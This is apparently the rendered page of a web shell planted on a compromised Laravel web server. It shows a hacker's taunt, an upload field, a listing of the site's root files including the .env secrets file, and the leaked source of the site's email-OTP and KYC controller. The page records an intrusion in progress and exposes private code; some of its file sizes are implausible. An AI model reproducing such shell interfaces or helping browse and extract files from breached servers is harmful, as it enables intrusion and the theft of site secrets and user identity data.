I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
first();
$resend_time = 0;
if(Carbon::now() <= $user_authorize->created_at->addMinutes(GlobalConst::USER_PASS_RESEND_TIME_MINUTE)) {
$resend_time = Carbon::now()->diffInSeconds($user_authorize->created_at->addMinutes(GlobalConst::USER_PASS_RESEND_TIME_MINUTE));
}
$page_title = setPageTitle("Mail Authorization");
return view('user.auth.authorize.verify-mail',compact("page_title","token","resend_time"));
}
/**
* Verify authorizaation code.
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function mailVerify(Request $request,$token)
{
$request->merge(['token' => $token]);
$request->validate([
'token' => "required|string|exists:user_authorizations,token",
'code' => "required|integer|exists:user_authorizations,code",
]);
$otp_exp_sec = BasicSettingsProvider::get()->otp_exp_seconds ?? GlobalConst::DEFAULT_TOKEN_EXP_SEC;
$auth_column = UserAuthorization::where("token",$request->token)->where("code",$request->code)->first();
if($auth_column->created_at->addSeconds($otp_exp_sec) < now()) {
$this->authLogout($request);
return redirect()->route('user.login')->with(['error' => [__('Session expired. Please try again')]]);
}
try{
$auth_column->user->update([
'email_verified' => true,
]);
$auth_column->delete();
}catch(Exception $e) {
$this->authLogout($request);
return redirect()->route('user.login')->with(['error' => [__('Something went wrong! Please try again')]]);
}
return redirect()->intended(route("user.dashboard"))->with(['success' => [__('Account successfully verified')]]);
}
public function authLogout(Request $request) {
auth()->guard("web")->logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
}
public function mailResendToken($token) {
$user_authorize = UserAuthorization::where("token",$token)->first();
$resend_code = generate_random_code();
try{
$user_authorize->update([
'code' => $resend_code,
'created_at' => now(),
]);
$data = $user_authorize->toArray();
$user_authorize->user->notify(new SendAuthorizationCode((object) $data));
}catch(Exception $e) {
throw ValidationException::withMessages([
'code' => "Something went wrong! Please try again.",
]);
}
return redirect()->route('user.authorize.mail',$token)->with(['success' => [__('Mail OTP Resend Success')]]);
}
public function showKycFrom() {
$user = auth()->user();
if($user->kyc_verified == GlobalConst::VERIFIED) return back()->with(['success' => [__('You are already KYC Verified User')]]);
$page_title = setPageTitle("KYC Verification");
$user_kyc = SetupKyc::userKyc()->first();
if(!$user_kyc) return back();
$kyc_data = $user_kyc->fields;
$kyc_fields = [];
if($kyc_data) {
$kyc_fields = array_reverse($kyc_data);
}
return view('user.auth.authorize.verify-kyc',compact("page_title","kyc_fields"));
}
public function kycSubmit(Request $request) {
$user = auth()->user();
if($user->kyc_verified == GlobalConst::VERIFIED) return back()->with(['success' => [__('You are already KYC Verified User')]]);
$user_kyc_fields = SetupKyc::userKyc()->first()->fields ?? [];
$validation_rules = $this->generateValidationRules($user_kyc_fields);
$validated = Validator::make($request->all(),$validation_rules)->validate();
$get_values = $this->placeValueWithFields($user_kyc_fields,$validated);
$create = [
'user_id' => auth()->user()->id,
'data' => json_encode($get_values),
'created_at' => now(),
];
DB::beginTransaction();
try{
DB::table('user_kyc_data')->updateOrInsert(["user_id" => $user->id],$create);
$user->update([
'kyc_verified' => GlobalConst::PENDING,
]);
DB::commit();
}catch(Exception $e) {
DB::rollBack();
$user->update([
'kyc_verified' => GlobalConst::DEFAULT,
]);
$this->generatedFieldsFilesDelete($get_values);
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return redirect()->route("user.profile.index")->with(['success' => [__('KYC information successfully submitted')]]);
}
}